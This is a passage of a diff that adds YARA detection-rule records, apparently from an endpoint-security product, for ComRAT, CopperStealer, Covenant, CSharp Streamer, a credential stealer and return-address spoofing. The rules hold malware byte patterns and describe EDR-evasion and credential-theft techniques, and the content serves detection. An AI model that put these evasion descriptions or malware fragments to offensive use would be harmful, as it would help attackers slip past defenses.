+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575133Z",
+  "creation_date": "2026-03-23T11:46:25.575135Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575140Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0126/\nhttps://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf\nhttps://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a"
+  ],
+  "name": "comratv4_orchestrator.yar",
+  "content": "rule comratv4_orchestrator {\n    meta:\n        title = \"ComRAT v4 Orchestrator\"\n        id = \"db1069ef-9285-41f6-a3e1-976375f7b4b9\"\n        description = \"Detects the ComRAT V4 Orchestrator, a malware used by the Turla APT first identified in 2007.\\nComRAT is a second stage implant suspected of being a descendant of Agent.btz. The malware features a Virtual File System (VFS) in FAT16 format and can use Gmail to receive commands and exfiltrate information.\"\n        references = \"https://attack.mitre.org/software/S0126/\\nhttps://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf\\nhttps://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a\"\n        date = \"2024-07-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.001;attack.t1059.003;attack.t1106;attack.defense_evasion;attack.t1070.004;attack.t1218.011;attack.command_and_control;attack.t1573.001;attack.t1105;attack.exfiltration;attack.t1029;attack.s0126\"\n        classification = \"Windows.Backdoor.ComRAT\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 303f2983b32519d32b3a408a08fe108b96657ff25c5500602f836689d8ad9731\n        // 44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316\n\n        $s1 = \".c4as\" ascii fullword\n        $s2 = \"/var/output/\" ascii fullword\n        $s3 = \"x64_Release.dll\" ascii fullword\n\n        $pdb = \"C:\\\\Projects\\\\chinch_4_0\\\\projects\\\\chinch4\\\\Build\\\\x64\\\\Release\\\\x64_Release.pdb\" ascii fullword\n\n        // HARDCODED KEY FOR FAT16FS IN DATA SECTION\n        $fat16fs_key = {\n            C7 45 ?? 27 82 3B D3          // mov     [rbp+57h+vFixedKey], 0D33B8227h\n            C7 45 ?? 3E D5 EA 8D          // mov     [rbp+57h+vFixedKey+4], 8DEAD53Eh\n            C7 45 ?? 55 FB C0 7E          // mov     [rbp+57h+vFixedKey+8], 7EC0FB55h\n            C7 45 ?? 6F 41 FE 37          // mov     [rbp+57h+vFixedKey+0Ch], 37FE416Fh\n            C7 45 ?? E0 53 8D DF          // mov     [rbp+57h+vFixedKey+10h], 0DF8D53E0h\n            C7 45 ?? 60 DD 0A 70          // mov     [rbp+57h+vFixedKey+14h], 700ADD60h\n            C7 45 ?? 88 13 FC 88          // mov     [rbp+57h+vFixedKey+18h], 88FC1388h\n            C7 45 ?? 3E FD 99 49          // mov     [rbp+57h+vFixedKey+1Ch], 4999FD3Eh\n        }\n\n        // DecryptString (DecryptMultiByte, DecryptWideChar)\n        $decryptstring = {\n            C7 45 ?? 6F 61 72 FF          // mov     dword ptr [rbp+aBegin], 0FF72616Fh\n            C7 45 ?? 04 27 E7 AA          // mov     dword ptr [rbp+aBegin+4], 0AAE72704h\n            C7 45 ?? A8 0E AF 05          // mov     dword ptr [rbp+aBegin+8], 5AF0EA8h\n            C7 45 ?? A2 42 9D 16          // mov     dword ptr [rbp+aBegin+0Ch], 169D42A2h\n            C7 45 ?? 15 A6 BF CF          // mov     dword ptr [rbp+aBegin+10h], 0CFBFA615h\n            C7 45 ?? 60 FB E8 21          // mov     dword ptr [rbp+aBegin+14h], 21E8FB60h\n            C7 45 ?? 2B A9 B1 87          // mov     dword ptr [rbp+aBegin+18h], 87B1A92Bh\n            C7 45 ?? 3A 1E 4B C0          // mov     dword ptr [rbp+aBegin+1Ch], 0C04B1E3Ah\n        }\n\n        // DecryptXor55\n        $decrypt_xor55 = {\n            8B 44 ?? ??                   // mov     eax, [rsp+18h+var_14]\n            48 8B 4C ?? ??                // mov     rcx, [rsp+18h+arg_0]\n            0F B6 04 ??                   // movzx   eax, byte ptr [rcx+rax]\n            8B 0C ??                      // mov     ecx, [rsp+18h+vSeed]\n            03 C8                         // add     ecx, eax\n            8B C1                         // mov     eax, ecx\n            89 04 ??                      // mov     [rsp+18h+vSeed], eax\n            8B 44 ?? ??                   // mov     eax, [rsp+18h+var_14]\n            48 8B 4C ?? ??                // mov     rcx, [rsp+18h+arg_0]\n            0F B6 04 ??                   // movzx   eax, byte ptr [rcx+rax]\n            83 F0 55                      // xor     eax, 55h\n            8B 4C ?? ??                   // mov     ecx, [rsp+18h+var_14]\n            48 8B 54 ?? ??                // mov     rdx, [rsp+18h+arg_0]\n            88 04 0A                      // mov     [rdx+rcx], al\n            B8 01 00 00 00                // mov     eax, 1\n            48 6B C0 00                   // imul    rax, 0\n            48 8B 4C ?? ??                // mov     rcx, [rsp+18h+arg_0]\n            0F B6 04 ??                   // movzx   eax, byte ptr [rcx+rax]\n            8B 0C ??                      // mov     ecx, [rsp+18h+vSeed]\n            03 C8                         // add     ecx, eax\n            8B C1                         // mov     eax, ecx\n            89 04 ??                      // mov     [rsp+18h+vSeed], eax\n            EB ??                         // jmp     short loc_1800721A7\n        }\n\n        // GetPipeName\n        // \\\\.\\pipe\\%08x\n        $getpipename1 = {\n            C7 44 [2] 5C 00 5C 00         // mov     dword ptr [rsp+278h+aFmt], 5C005Ch\n            C7 44 [2] 2E 00 5C 00         // mov     dword ptr [rsp+278h+aFmt+4], 5C002Eh\n            C7 44 [2] 70 00 69 00         // mov     dword ptr [rsp+278h+aFmt+8], 690070h\n            C7 44 [2] 70 00 65 00         // mov     dword ptr [rsp+278h+aFmt+0Ch], 650070h\n            C7 44 [2] 5C 00 25 00         // mov     dword ptr [rsp+278h+aFmt+10h], 25005Ch\n            C7 44 [2] 30 00 38 00         // mov     dword ptr [rsp+278h+aFmt+14h], 380030h\n            C7 44 [2] 78 00 00 00         // mov     dword ptr [rsp+278h+aFmt+18h], 78h ; 'x'\n            C7 44 [2] 04 01 00 00         // mov     [rsp+278h+vComputerNameLen], 104h\n        }\n\n        // GetPipeName\n        // Generate pipe name based on GetComputerName\n        $getpipename2 = {\n            41 0F B6 ??                   // movzx   ecx, byte ptr [r10]\n            41 8B C1                      // mov     eax, r9d\n            4D 8D ?? 01                   // lea     r10, [r10+1]\n            83 C9 04                      // or      ecx, 4\n            C1 E8 03                      // shr     eax, 3\n            44 8B C9                      // mov     r9d, ecx\n            44 0F AF C8                   // imul    r9d, eax\n            41 FF C8                      // dec     r8d\n            75 ??                         // jnz     short loc_180047A20\n        }\n\n    condition:\n        all of ($s*) or\n        $pdb or\n        $fat16fs_key or\n        $decryptstring or\n        $decrypt_xor55 or\n        1 of ($getpipename*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "comratv4_orchestrator"
+  ],
+  "rule_creation_date": "2024-07-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.ComRAT"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1029",
+    "attack.t1059.003",
+    "attack.t1070.004",
+    "attack.t1218.011",
+    "attack.t1106",
+    "attack.t1059.001",
+    "attack.t1105",
+    "attack.t1573.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-copperstealer_driver_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575383Z",
+  "creation_date": "2026-03-23T11:46:25.575385Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575390Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/jaydinbas/status/1646475092006785027"
+  ],
+  "name": "copperstealer_driver.yar",
+  "content": "rule copperstealer_driver {\n    meta:\n        title = \"CopperStealer Windows Driver\"\n        id = \"8542a63b-fda2-41ed-897b-f64cb028783f\"\n        description = \"Detects the CopperStealer Windows driver.\\nCopperStealer is a malicious kernel driver that acts as a command-and-control (C2) beacon.\\nIt has the ability to inject code into userland processes, establish persistence, and steal sensitive information from the system.\\nThe driver communicates with its C2 server via HTTP protocol to receive commands and exfiltrate data.\"\n        references = \"https://twitter.com/jaydinbas/status/1646475092006785027\"\n        date = \"2023-04-24\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.defense_evasion;attack.t1014;attack.privilege_escalation;attack.t1055\"\n        classification = \"Windows.Rootkit.CopperStealer\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // fa9abb3e7e06f857be191a1e049dd37642ec41fb2520c105df2227fcac3de5d5\n        // e1cb86386757b947b39086cc8639da988f6e8018ca9995dd669bdc03c8d39d7d\n\n        // First ensure that we are indeed scanning a kernel driver\n        $kernel_driver_1 = \"IoDeleteDevice\" fullword ascii\n        $kernel_driver_2 = \"IoDetachDevice\" fullword ascii\n        $kernel_driver_3 = \"ExFreePoolWithTag\" fullword ascii\n        $kernel_driver_4 = \"ExAllocatePoolWithTag\" fullword ascii\n        $kernel_driver_5 = \"MmGetSystemRoutineAddress\" fullword ascii\n        $kernel_driver_6 = \"MmProbeAndLockPages\" fullword ascii\n        $kernel_driver_7 = \"IoCreateDevice\" fullword ascii\n        $kernel_driver_8 = \"ZwReadFile\" fullword ascii\n        $kernel_driver_9 = \"ZwSetValueKey\" fullword ascii\n        $kernel_driver_10 = \"KeWaitForSingleObject\" fullword ascii\n\n        $network_comm_1 = \"HTTP/1.1\" fullword ascii\n        $network_comm_2 = \"HTTP/1.0\" fullword ascii\n        $network_comm_3 = \"8.8.8.8\" fullword ascii\n        $network_comm_4 = \"content-length\" fullword ascii\n\n        $network_device_1 = \"Device\\\\Tcp\" fullword wide\n        $network_device_2 = \"Device\\\\Udp\" fullword wide\n\n        // GET %s HTTP/1.0\\r\\nHost: %s:%d\\r\\nConnection: Close\\r\\n\\r\\n\n        $http_req_1 = { 47 45 54 20 25 73 20 48 54 54 50 2F 31 2E 30 0D 0A 48 6F 73 74 3A 20 25 73 3A 25 64 0D 0A 43 6F 6E 6E 65 63  74 69 6F 6E 3A 20 43 6C 6F 73 65 0D 0A 0D 0A 00 }\n        // GET %s HTTP/1.0\\r\\nHost: %s\\r\\nConnection: Close\\r\\n\\r\\n\n        $http_req_2 = { 47 45 54 20 25 73 20 48 54 54 50 2F 31 2E 30 0D 0A 48 6F 73 74 3A 20 25 73 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 43 6C 6F 73 65 0D 0A 0D 0A 00 }\n\n    condition:\n        5 of ($kernel_driver_*) and\n        all of ($network_comm_*) and\n        all of ($network_device_*) and\n        1 of ($http_req_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "copperstealer_driver"
+  ],
+  "rule_creation_date": "2023-04-24",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Rootkit.CopperStealer"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1014",
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-covenant_grunt_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.580842Z",
+  "creation_date": "2026-03-23T11:46:25.580844Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.580850Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/cobbr/Covenant"
+  ],
+  "name": "covenant_grunt.yar",
+  "content": "rule covenant_grunt_yar {\n    meta:\n        title = \"Covenant Grunt\"\n        id = \"372da4a1-37e2-4ae5-ad46-101ca299c80d\"\n        description = \"Detects the Covenant Grunt malware.\\nCovenant is a .NET command and control framework designed to highlight the attack surface of .NET and simplify offensive .NET tradecraft. Grunt is a component of this framework that serves as a collaborative command and control platform for red teamers.\\nIt is recommended to scan for additional signs of malicious activity on the host.\"\n        references = \"https://github.com/cobbr/Covenant\"\n        date = \"2020-12-16\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.t1572\"\n        classification = \"Windows.Framework.Covenant\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // https://github.com/cobbr/Covenant/blob/f5014ba319517e262f745334f16a724657c2998e/Covenant/Data/Grunt/GruntBridge/GruntBridgeStager.cs#L42\n        $name = \"{{\\\"GUID\\\":\\\"{0}\\\",\\\"Type\\\":{1},\\\"Meta\\\":\\\"{2}\\\",\\\"IV\\\":\\\"{3}\\\",\\\"EncryptedMessage\\\":\\\"{4}\\\",\\\"HMAC\\\":\\\"{5}\\\"}}\" wide\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "covenant_grunt_yar"
+  ],
+  "rule_creation_date": "2020-12-16",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Covenant"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1572",
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cpp_execassembly_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585792Z",
+  "creation_date": "2026-03-23T11:46:25.585794Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585799Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mallo-m/Cpp-ExecAssembly"
+  ],
+  "name": "cpp_execassembly.yar",
+  "content": "rule cpp_execassembly {\n    meta:\n        title = \"Cpp-ExecAssembly HackTool\"\n        id = \"ffb4df15-f60b-493e-b562-f3643acbeedb\"\n        description = \"Detects Cpp-ExecAssembly, a C++ tool to load and execute assemblies in-memory, without triggering AV/EDR alerts.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activities.\"\n        references = \"https://github.com/mallo-m/Cpp-ExecAssembly\"\n        date = \"2025-11-19\"\n        modified = \"2025-11-20\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1620\"\n        classification = \"Windows.HackTool.Cpp-ExecAssembly\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 3f98178b7077391d314516d0d83a8105d2008697c944eb476705d5e0066c7226\n\n        $string1 = \"[+] InitMetaHost success\" ascii fullword\n        $string2 = \"[!] Could not load Default Domain failed\" ascii fullword\n        $string3 = \"[!] Default Domain has no interface ???\" ascii fullword\n        $string4 = \"[+] InitAssemblyMemory success\" ascii fullword\n        $string5 = \"[!] Could not retrieve assembly's entry point\" ascii fullword\n        $string6 = \"[!] Failed to invoke Assembly, is Main's signature matching: static void Main(string[] args) ? hr = %X\" ascii fullword\n\n    condition:\n        4 of ($string*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cpp_execassembly"
+  ],
+  "rule_creation_date": "2025-11-19",
+  "rule_modified_date": "2025-11-20",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Cpp-ExecAssembly"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1620"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-crackaccount_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583757Z",
+  "creation_date": "2026-03-23T11:46:25.583759Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583764Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1110/"
+  ],
+  "name": "crackaccount.yar",
+  "content": "rule crackaccount {\n    meta:\n        title = \"CrackAccount Malware\"\n        id = \"d9f5e278-a827-46f4-8998-80bd48d9b6ea\"\n        description = \"Detects the CrackAccount credential stealer binary.\\nCrackAccount is a malicious credential stealer designed to extract user credentials from compromised systems. It attempts to steal passwords and may be used by adversaries for initial access, lateral movement, or privilege escalation.\"\n        references = \"https://attack.mitre.org/techniques/T1110/\"\n        date = \"2023-03-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1110\"\n        classification = \"Windows.Stealer.CrackAccount\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // e97bdf7fafb1cb2a2bf0a4e14f51e18a34f3ff2f6f7b99731e93070d50801bef\n\n        $s1 = \"Download Pass\" fullword ascii\n        $s2 = \"FileOpenCommand+\" fullword ascii\n        $s3 = \"FromShowQuestion+\" fullword ascii\n        $s4 = \"\\\\passwords.txt\" fullword wide\n        $s5 = \",computer\" fullword wide\n        $s6 = \"LDAP://{0}\" fullword wide\n        $s7 = \" (*.txt)|*.txt|\" fullword wide\n        $s8 = \"view/mainwindow.baml\" fullword wide\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "crackaccount"
+  ],
+  "rule_creation_date": "2023-03-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.CrackAccount"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1110"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-csharp_streamer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569241Z",
+  "creation_date": "2026-03-23T11:46:25.569243Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569249Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cyber.wtf/2023/12/06/the-csharp-streamer-rat/\nhttps://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/"
+  ],
+  "name": "csharp_streamer.yar",
+  "content": "rule csharp_streamer {\n    meta:\n        title = \"CSharp Streamer RAT\"\n        id = \"ea4b0539-e381-43bf-8154-720629459e17\"\n        description = \"Detects CSharp Streamer, a .NET Remote Access Tool embedding multiple post exploitation and defense evasion .NET libraries.\\nCSharp Streamer is a Remote Access Tool (RAT) that integrates various .NET libraries to perform post-exploitation activities and evade detection. It is commonly used in ransomware campaigns, leveraging techniques such as AMSI hooking and process injection to maintain persistence and evade security measures. The tool can establish communication channels, including ICMP-based C2 protocols, and is often used to execute malicious commands on compromised systems.\\nIt is recommended to analyze network traffic for potential C2 communication patterns.\"\n        references = \"https://cyber.wtf/2023/12/06/the-csharp-streamer-rat/\\nhttps://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/\"\n        date = \"2024-07-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.t1105;attack.discovery;attack.t1087.001;attack.t1087.002;attack.t1057;attack.t1046;attack.credential_access;attack.t1003;attack.exfiltration;attack.t1041\"\n        classification = \"Windows.Malware.CSharpStreamer\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 056cf0d4afdf17648e83739e3e96b53fa802bd0750fe6e74cdbe2fcea2b03c7e\n        // 6a082dd209ec019de653f71e0ee22e6613ce5e9010b8fa089b02f79a1a90652a\n\n        $rat = \"csharp_streamer\" wide\n\n        $s1 = \"windows identify before impersonation:\" wide\n        $s2 = \"VirtualProtectEx error [change protection]\" wide\n        $s3 = \"AmsiScanBuffer hooked successfully\" wide\n        $s4 = \"The injection method provided was invalid\" wide\n        $s5 = \"[POWERSHELL OUTPUT {0}] : --- begin of execution ---\" wide\n        $s6 = \"Connecting to ICMP\" wide\n\n    condition:\n        ($rat and 3 of ($s*)) or all of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "csharp_streamer"
+  ],
+  "rule_creation_date": "2024-07-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.CSharpStreamer"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.discovery",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1046",
+    "attack.t1003",
+    "attack.t1071.001",
+    "attack.t1041",
+    "attack.t1087.001",
+    "attack.t1087.002",
+    "attack.t1057",
+    "attack.t1105"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-custom_call_stack_10e4552cd40d_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.562885Z",
+  "creation_date": "2026-03-23T11:46:25.562889Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.562898Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\nhttps://github.com/kyleavery/AceLdr"
+  ],
+  "name": "custom_call_stack_10e4552cd40d.yar",
+  "content": "rule return_addr_spoofing_10e4552cd40d {\n    meta:\n        title = \"Return Address Spoofing Technique (10e4552cd40d)\"\n        id = \"e649f410-4b83-42ce-a9d6-10e4552cd40d\"\n        description = \"Detects usage of return address spoofing.\\nThis technique hijacks execution to execute malicious API calls with a legitimized call stack. The malware modifies a parameter structure to intercept execution flow: it saves the target function pointer, overwrites the structure with a return trampoline address, and stores the original return address within the structure itself. When the target API executes, EDR stack inspection sees a clean call chain originating from legitimate Windows internals rather than suspicious RX regions.\\nThe technique consists of two key components:\\n1. setup_threadpool_callback_proxy: Manipulates the structure before calling the target API, installing a return handler\\n2. threadpool_callback_return_handler: Restores execution flow after the API returns\\nThis bypasses EDR call stack inspection that would normally flag direct calls from shellcode/injected regions to sensitive APIs like NtAllocateVirtualMemory, NtProtectVirtualMemory, or NtCreateThreadEx.\\nIt is recommended to investigate processes using with unusual callback patterns, examine memory regions containing the detected code sequences, analyze parent-child process relationships, and correlate with other suspicious behaviors such as process injection, memory allocation in remote processes, or unsigned code execution.\"\n        references = 